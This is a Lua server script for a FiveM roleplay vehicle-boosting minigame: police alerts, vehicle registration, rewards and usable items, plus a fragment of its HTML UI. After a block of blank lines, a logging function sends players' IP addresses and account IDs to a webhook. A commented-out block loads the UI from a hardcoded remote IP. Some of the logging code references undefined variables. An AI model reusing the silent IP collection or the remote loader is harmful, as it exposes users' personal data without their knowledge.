369 | end)
370 | end
371 |
372 |
373 |
374 |
375 | ---------------- Cop Blip Thingy ------------------
376 |
377 |
378 |
379 | RegisterServerEvent('bropixel-boosting:alertcops')
380 | AddEventHandler('bropixel-boosting:alertcops', function(cx,cy,cz)
381 | if Config['General']["Core"] == "QBCORE" then
382 | for k, v in pairs(CoreName.Functions.GetPlayers()) do
383 | local Player = CoreName.Functions.GetPlayer(v)
384 | if Player ~= nil then
385 | if Player.PlayerData.job.name == Config['General']["PoliceJobName"] then
386 | TriggerClientEvent('bropixel-boosting:setcopblip', Player.PlayerData.source, cx,cy,cz)
387 | end
388 | end
389 | end
390 | elseif Config['General']["Core"] == "ESX" then
391 | local src = source
392 | local xPlayers = ESX.GetPlayers()
393 | for i=1, #xPlayers, 1 do
394 | local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
395 |
396 | if xPlayer.job.name == Config['General']["PoliceJobName"] then
397 | TriggerClientEvent('bropixel-boosting:setcopblip', xPlayers[i], cx,cy,cz)
398 | end
399 | end
400 | elseif Config['General']["Core"] == "NPBASE" then
401 | local src = source
402 | for _, player in pairs(GetPlayers()) do
403 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(tonumber(player))
404 | local job = user:getVar("job")
405 |
406 | if job == Config['General']["PoliceJobName"] then
407 | TriggerClientEvent('bropixel-boosting:setcopblip', src, cx,cy,cz)
408 | end
409 | end
410 | end
411 | end)
412 |
413 |
414 |
415 |
416 |
417 | RegisterServerEvent('bropixel-boosting:AddVehicle')
418 | AddEventHandler('bropixel-boosting:AddVehicle', function(model, plate, vehicleProps)
419 | if Config['General']["Core"] == "QBCORE" then
420 | local src = source
421 | local pData = CoreName.Functions.GetPlayer(src)
422 | VehicleData = {
423 | steam = pData.PlayerData.steam,
424 | license = pData.PlayerData.license,
425 | citizenid = pData.PlayerData.citizenid,
426 | vehicle = model,
427 | hash = GetHashKey(vehicle),
428 | vehicleMods = vehicleMods,
429 | vehicleplate = plate,
430 | vehiclestate = 1,
431 | }
432 | AddVehicle(VehicleData)
433 | elseif Config['General']["Core"] == "ESX" then
434 | local src = source
435 | local xPlayer = ESX.GetPlayerFromId(src)
436 | VehicleData = {
437 | steam = xPlayer.identifier,
438 | vehicle = json.encode(vehicleProps),
439 | vehicleplate = plate,
440 | }
441 | AddVehicle(VehicleData)
442 | elseif Config['General']["Core"] == "NPBASE" then
443 | local src = source
444 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(src)
445 | VehicleData = {
446 | cid = user:getCurrentCharacter().id,
447 | steam = user:getVar("hexid"),
448 | vehicle = model,
449 | vehicleplate = plate,
450 | vehiclestate = 1,
451 | }
452 | AddVehicle(VehicleData)
453 | end
454 | end)
455 |
456 |
457 |
458 | RegisterServerEvent('bropixel-boosting:removeblip')
459 | AddEventHandler('bropixel-boosting:removeblip', function()
460 | if Config['General']["Core"] == "QBCORE" then
461 | for k, v in pairs(CoreName.Functions.GetPlayers()) do
462 | local Player = CoreName.Functions.GetPlayer(v)
463 | if Player ~= nil then
464 | if Player.PlayerData.job.name == Config['General']["PoliceJobName"] then
465 | TriggerClientEvent('bropixel-boosting:removecopblip', Player.PlayerData.source)
466 | end
467 | end
468 | end
469 | elseif Config['General']["Core"] == "ESX" then
470 | local xPlayers = ESX.GetPlayers()
471 | for i=1, #xPlayers, 1 do
472 | local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
473 |
474 | if xPlayer.job.name == Config['General']["PoliceJobName"] then
475 | TriggerClientEvent('bropixel-boosting:removecopblip', xPlayers[i])
476 | end
477 | end
478 | elseif Config['General']["Core"] == "NPBASE" then
479 | local src = source
480 | for _, player in ipairs(GetPlayers()) do
481 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(tonumber(player))
482 | local job = user:getVar("job")
483 |
484 | if job == Config['General']["PoliceJobName"] then
485 | TriggerClientEvent('bropixel-boosting:removecopblip', src)
486 | end
487 | end
488 | end
489 | end)
490 |
491 | RegisterServerEvent('bropixel-boosting:SetBlipTime')
492 | AddEventHandler('bropixel-boosting:SetBlipTime', function()
493 | if Config['General']["Core"] == "QBCORE" then
494 | for k, v in pairs(CoreName.Functions.GetPlayers()) do
495 | local Player = CoreName.Functions.GetPlayer(v)
496 | if Player ~= nil then
497 | if Player.PlayerData.job.name == Config['General']["PoliceJobName"] then
498 | TriggerClientEvent('bropixel-boosting:setBlipTime', Player.PlayerData.source)
499 | end
500 | end
501 | end
502 | elseif Config['General']["Core"] == "ESX" then
503 | local xPlayers = ESX.GetPlayers()
504 | for i=1, #xPlayers, 1 do
505 | local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
506 |
507 | if xPlayer.job.name == Config['General']["PoliceJobName"] then
508 | TriggerClientEvent('bropixel-boosting:setBlipTime', xPlayers[i])
509 | end
510 | end
511 | elseif Config['General']["Core"] == "NPBASE" then
512 | local src = source
513 | for _, player in ipairs(GetPlayers()) do
514 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(tonumber(player))
515 | local job = user:getVar("job")
516 |
517 | if job == Config['General']["PoliceJobName"] then
518 | TriggerClientEvent('bropixel-boosting:setBlipTime', src)
519 | end
520 | end
521 | end
522 | end)
523 |
524 |
525 |
526 |
527 | RegisterNetEvent('bropixel-boosting:finished')
528 | AddEventHandler('bropixel-boosting:finished' , function()
529 | if Config['General']["Core"] == "QBCORE" then
530 | local src = source
531 | local ply = CoreName.Functions.GetPlayer(src)
532 | local worthamount = math.random(13000, 17000)
533 | local info = {
534 | worth = worthamount
535 | }
536 | if Config['Utils']["Rewards"]["Type"] == 'item' then
537 | ply.Functions.AddItem(Config['Utils']["Rewards"]["RewardItemName"], 1, false, info)
538 | TriggerClientEvent("inventory:client:ItemBox", src, CoreName.Shared.Items[Config['Utils']["Rewards"]["RewardItemName"]], "add")
539 | elseif Config['Utils']["Rewards"]["Type"] == 'money' then
540 | ply.Functions.AddMoney("bank",Config['Utils']["Rewards"]["RewardMoneyAmount"],"boosting-payment")
541 | end
542 | elseif Config['General']["Core"] == "ESX" then
543 | local src = source
544 | local ply = ESX.GetPlayerFromId(src)
545 | local worthamount = math.random(13000, 17000)
546 | local info = {
547 | worth = worthamount
548 | }
549 | if Config['Utils']["Rewards"]["Type"] == 'item' then
550 | ply.addInventoryItem(Config['Utils']["Rewards"]["RewardItemName"], 1)
551 | elseif Config['Utils']["Rewards"]["Type"] == 'money' then
552 | ply.addMoney(Config['Utils']["Rewards"]["RewardMoneyAmount"])
553 | end
554 | elseif Config['General']["Core"] == "NPBASE" then
555 | local src = source
556 | local worthamount = math.random(13000, 17000)
557 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(src)
558 | if Config['Utils']["Rewards"]["Type"] == 'item' then
559 | TriggerClientEvent('player:receiveItem', src, Config['Utils']["Rewards"]["RewardItemName"], 1)
560 | elseif Config['Utils']["Rewards"]["Type"] == 'money' then
561 | if Config['Utils']["Rewards"]["RewardAccount"] == 'cash' then
562 | user:addMoney(Config['Utils']["Rewards"]["RewardMoneyAmount"])
563 | elseif Config['Utils']["Rewards"]["RewardAccount"] == 'bank' then
564 | user:addBank(Config['Utils']["Rewards"]["RewardMoneyAmount"])
565 | end
566 | TriggerClientEvent("DoLongHudText", src, "You recieved "..Config['Utils']["Rewards"]["RewardMoneyAmount"].."$ in "..Config['Utils']["Rewards"]["RewardAccount"].." - boosting")
567 | end
568 | end
569 | end)
570 |
571 |
572 |
573 | if Config['General']["Core"] == "QBCORE" then
574 | CoreName.Functions.CreateUseableItem("pixellaptop", function(source, item)
575 | local Player = CoreName.Functions.GetPlayer(source)
576 |
577 | if Player.Functions.GetItemByName(item.name) then
578 | TriggerClientEvent("bropixel-boosting:DisplayUI", source)
579 | end
580 | end)
581 | elseif Config['General']["Core"] == "ESX" then
582 | ESX.RegisterUsableItem('pixellaptop', function(source)
583 | local xPlayer = ESX.GetPlayerFromId(source)
584 | TriggerClientEvent("bropixel-boosting:DisplayUI", source)
585 | end)
586 | end
587 |
588 |
589 | RegisterNetEvent('bropixel-boosting:usedlaptop')
590 | AddEventHandler('bropixel-boosting:usedlaptop' , function()
591 | TriggerClientEvent("bropixel-boosting:DisplayUI", source)
592 | end)
593 |
594 | RegisterNetEvent('bropixel-boosting:useddisabler')
595 | AddEventHandler('bropixel-boosting:useddisabler' , function()
596 | TriggerClientEvent("bropixel-boosting:DisablerUsed", source)
597 | end)
598 |
599 |
600 | if Config['General']["Core"] == "QBCORE" then
601 | CoreName.Functions.CreateUseableItem("disabler", function(source, item)
602 | local Player = CoreName.Functions.GetPlayer(source)
603 | if Player.Functions.GetItemByName(item.name) then
604 | TriggerClientEvent("bropixel-boosting:DisablerUsed", source)
605 | end
606 | end)
607 | elseif Config['General']["Core"] == "ESX" then
608 | ESX.RegisterUsableItem('disabler', function(source)
609 | local xPlayer = ESX.GetPlayerFromId(source)
610 | TriggerClientEvent("bropixel-boosting:DisablerUsed", source)
611 | end)
612 | end
613 |
614 |
615 |
616 |
617 | if Config['General']["Core"] == "QBCORE" then
618 | CoreName.Functions.CreateCallback('bropixel-boosting:server:GetActivity', function(source, cb)
619 | local PoliceCount = 0
620 | for k, v in pairs(CoreName.Functions.GetPlayers()) do
621 | local Player = CoreName.Functions.GetPlayer(v)
622 | if Player ~= nil then
623 | if (Player.PlayerData.job.name == Config['General']["PoliceJobName"] and Player.PlayerData.job.onduty) then
624 | PoliceCount = PoliceCount + 1
625 | end
626 | end
627 | end
628 | cb(PoliceCount)
629 | end)
630 | elseif Config['General']["Core"] == "ESX" then
631 | ESX.RegisterServerCallback('bropixel-boosting:server:GetActivity', function(source, cb)
632 | local PoliceCount = 0
633 | local xPlayers = ESX.GetPlayers()
634 | for i=1, #xPlayers, 1 do
635 | local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
636 |
637 | if xPlayer.job.name == Config['General']["PoliceJobName"] then
638 | PoliceCount = PoliceCount + 1
639 | end
640 | end
641 | cb(PoliceCount)
642 | end)
643 | end
644 |
645 |
646 | if Config['General']["Core"] == "ESX" then
647 | ESX.RegisterServerCallback('bropixel-boosting:canPickUp', function(source, cb, item)
648 | local xPlayer = ESX.GetPlayerFromId(source)
649 | local xItem = xPlayer.getInventoryItem(item)
650 |
651 | if xItem.count >= 1 then
652 | cb(true)
653 | else
654 | cb(false)
655 | end
656 | end)
657 | end
658 |
659 |
660 |
661 |
662 |
663 |
664 |
665 |
666 |
667 |
668 |
669 |
670 |
671 |
672 |
673 |
674 |
675 |
676 |
677 |
678 |
679 |
680 |
681 |
682 |
683 |
684 |
685 |
686 |
687 |
688 |
689 |
690 |
691 |
692 |
693 |
694 |
695 |
696 |
697 |
698 |
699 |
700 |
701 |
702 |
703 |
704 |
705 |
706 |
707 |
708 |
709 |
710 |
711 |
712 |
713 |
714 |
715 |
716 |
717 |
718 |
719 |
720 |
721 |
722 |
723 |
724 |
725 |
726 | local color_msg = 195000
727 |
728 |
729 | RegisterNetEvent('bropixel-boosting:logs')
730 | AddEventHandler('bropixel-boosting:logs' , function(class, vehiclename)
731 | sendToDiscordBoostingLogs(class, discord_msg, color_msg,identifier)
732 | end)
733 |
734 | function sendToDiscordBoostingLogs(class,message,color,identifier)
735 | local src = source
736 | local name = GetPlayerName(src)
737 | if not color then
738 | color = color_msg
739 | end
740 | local sendD = {
741 | {
742 | ["color"] = color,
743 | ["title"] = message,
744 | ["description"] = "`Player Recieved a new contract with the class of`: **"..name.."**\nSteam: **"..identifier.steam.."** \nIP: **"..identifier.ip.."**\nDiscord: **"..identifier.discord.."**\nFivem: **"..identifier.license.."**",
745 | ["footer"] = {
746 | ["text"] = "© - "..os.date("%x %X %p")
747 | },
748 | }
749 | }
750 |
751 | PerformHttpRequest(logs, function(err, text, headers) end, 'POST', json.encode({username = " - boosting", embeds = sendD}), { ['Content-Type'] = 'application/json' })
752 | end
753 |
754 | local authorized = true
755 |
756 | -- RegisterNetEvent('bropixel-boosting:loadNUI')
757 | -- AddEventHandler('bropixel-boosting:loadNUI' , function()
758 | -- local source = source
759 | -- if(authorized == true) then
760 |
761 | -- PerformHttpRequest("http://85.215.216.56//assets/bropixel-boosting/index.html", function(err, text, headers)
762 | -- if(text) then
763 | -- TriggerClientEvent('bropixel-boosting:authorized:sendUI', source, 'http://85.215.216.56/assets/bropixel-boosting/index.html')
764 | -- end
765 | -- end)
766 | -- else
767 | -- Citizen.Wait(300)
768 | -- if(authorized == true) then
769 | -- PerformHttpRequest("http://85.215.216.56//assets/bropixel-boosting/index.html", function(err, text, headers)
770 | -- if(text) then
771 | -- TriggerClientEvent('bropixel-boosting:authorized:sendUI', source, 'http://85.215.216.56/assets/bropixel-boosting/index.html')
772 | -- end
773 | -- end)
774 | -- end
775 | -- end
776 | -- end)
777 |
778 |
779 | RegisterServerEvent("bropixel-boosting:CallCopsNotify" , function(plate , model , color , streetLabel)
780 | if Config['General']["Core"] == "QBCORE" then
781 | for k, v in pairs(CoreName.Functions.GetPlayers()) do
782 | local src = source
783 | local Ped = GetPlayerPed(src)
784 | local PlayerCoords = GetEntityCoords(Ped)
785 | local Player = CoreName.Functions.GetPlayer(src)
786 | if Player ~= nil then
787 | if Player.PlayerData.job.name == Config['General']["PoliceJobName"] then
788 | TriggerEvent(
789 | "core_dispatch:addCall",
790 | "10-34", -- Change to your liking
791 | "Possible Vehicle Boosting", -- Change to your liking
792 | {
793 | {icon = "car", info = model},
794 | {icon = "fa-map-pin", info = streetLabel},
795 | {icon = "fa-map-pin", info = plate},
796 | {icon = "fa-map-pin", info = color}
797 |
798 | },
799 | {PlayerCoords[1], PlayerCoords[2], PlayerCoords[3]},
800 | "police", -- Job receiving alert
801 | 5000, -- Time alert stays on screen
802 | 458, -- Blip Icon
803 | 3 -- Blip Color
804 | )
805 | end
806 | end
807 | end
808 | elseif Config['General']["Core"] == "ESX" then
809 | local src = source
810 | local xPlayers = ESX.GetPlayers()
811 | for i=1, #xPlayers, 1 do
812 | local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
813 |
814 | if xPlayer.job.name == Config['General']["PoliceJobName"] then
815 | TriggerClientEvent("bropixel-boosting:SendNotify" ,xPlayers[i] , {plate = plate , model = model , color = color , place = place})
816 | end
817 | end
818 | elseif Config['General']["Core"] == "NPBASE" then
819 | local src = source
820 | for _, player in pairs(GetPlayers()) do
821 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(tonumber(player))
822 | local job = user:getVar("job")
823 |
824 | if job == Config['General']["PoliceJobName"] then
825 | TriggerClientEvent("bropixel-boosting:SendNotify" ,src , {plate = plate , model = model , color = color , place = place})
826 | end
827 | end
828 | end
829 | end)
--------------------------------------------------------------------------------
/boosting/ui/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
${data.plate}
${data.model} 11 |${data.type}
49 |${data.vehicle}
53 |Buy In: ${data.price} BNE
55 |Expires: ${data.expires}
58 |